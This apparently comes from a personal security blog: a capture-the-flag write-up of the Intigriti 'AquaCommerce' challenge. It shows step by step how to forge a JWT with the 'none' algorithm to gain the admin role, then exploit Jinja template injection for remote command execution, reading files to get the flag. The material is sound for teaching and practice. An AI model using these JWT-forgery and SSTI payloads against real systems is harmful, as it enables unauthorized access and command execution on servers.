Skip to main content

Intigriti Challenge 1125 Writeup : AquaCommerce

·630 words·3 mins·
Ashif Iqubal
Author
Ashif Iqubal
Hello, Fri3nd!
Table of Contents

Challenge Overview
#

Welcome back! Today, we are diving into the November 2025 INTIGRITI Challenge. This is going to be a black box testing scenario as no source code is provided just us against the application. Let’s see what we can find.

If you want to give a try Challenge link : intigriti Challenge 1125

Prerequisite
#

Vulnerabilities overview
#

flowchart LR A[ Registration]-->B[ Normal User Role] B-->C[JWT Tampering] C-->D[Admin User Role] D-->E[SSTI Discovery] E-->F[SSTI to RCE] F-->G[Capturing the Hidden Flag!]

Reconnaissance
#

Here we are presented with a AquaCommerce e-commerce shop used for premium fishing & aquarium items. User’s can add items to cart and buy it.

It has Login and Sign up functionality. We will be creating an account in order to Login into the application.

After we create our account we will be redirected to /dashboard into our new account.

After logged in we notice our user account has role value set as user interesting.

what about cookies? Let’s check it using developer tools

JWT Tampering
#

We get this as cookie value in parameter token.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo4LCJ1c2VybmFtZSI6ImFsZmFYIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjM1NDM3OTJ9.8ms9nIKxCJRCXRPQmXxR4SXxS20ntTkjei2oiPJw0Gk

As this start’s with eyJ it’s most likely be a JWT token so let’s try to decode this using jwt_tool.py .

python3 jwt_tool.py 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo4LCJ1c2VybmFtZSI6ImFsZmFYIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjM1NDM3OTJ9.8ms9nIKxCJRCXRPQmXxR4SXxS20ntTkjei2oiPJw0Gk' 

Now in order do privilege escalation to admin user we will modifying the values to as follows

Modified Header Values

{
  "alg": "none",
  "typ": "JWT"
}

Modified Payload Values

{
  "user_id": 1,
  "username": "admin",
  "role": "admin",
  "exp": 1763543792
}

Command to tamper the jwt token

python3 jwt_tool.py 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo4LCJ1c2VybmFtZSI6ImFsZmFYIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjM1NDM3OTJ9.8ms9nIKxCJRCXRPQmXxR4SXxS20ntTkjei2oiPJw0Gk' -T

Now let’s check the values of tampered jwt

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzYzNTQzNzkyfQ.8ms9nIKxCJRCXRPQmXxR4SXxS20ntTkjei2oiPJw0Gk

Here, we are changing the parameters which might be same as admin user on backend. Modifying algorithm form HS256 to none in order to bypass the signed token and enable support of unsigned tokens. Because tampered JWT token will not be verified successfully.

Privilege Escalation to Admin
#

Now just replace the cookie value with the modified jwt value and refresh the page ( F5 ).

We are presented with Admin Access sweet!

Now we will visit Admin Panel by clicking on “Admin Panel” or visiting /admin url endpoint.

While exploring the application we will look into My Profile page here, Here we can look an interesting Display Name functionality.

Discovery of SSTI
#

Now while testing, it simply takes Display Name as input and reflects it on Current Display Name field when save changes are made.

While injecting a simple SSTI payloads it results as 7*7 as 49 which confirm the vulnerability.

SSTI to RCE
#

Now as it’s a Jinja based python which uses python under the hood we can take advantage of global namespaces and importing the os module. And using it’s popen() to run shell command directly into the server and taking the output and reading it by .read() method.

So, First we will try to execute whoami and id command respectively.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Here, we are able to run os command’s successfully and as running as appuser user on the server.

Capturing Finding The flag
#

First we are trying to get directory listing including hidden files on the current directory.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen(' ls -lha ').read() }}

we can use view source to format the output in raw and help us to see the command more clearly.

Now their’s one hidden directory .aquacommerce let’s check what’s inside it.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen(' ls .aquacommerce -lha ').read() }}

view source version

As, we can see a single text file present inside it, Let’s looking inside that file.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat ./.aquacommerce/019a82cf.txt  ').read() }}

Voilà! We found the flag! 🚩

INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}

If you enjoyed this deep dive there’s more content on my YouTube channel Security Journey With Ashif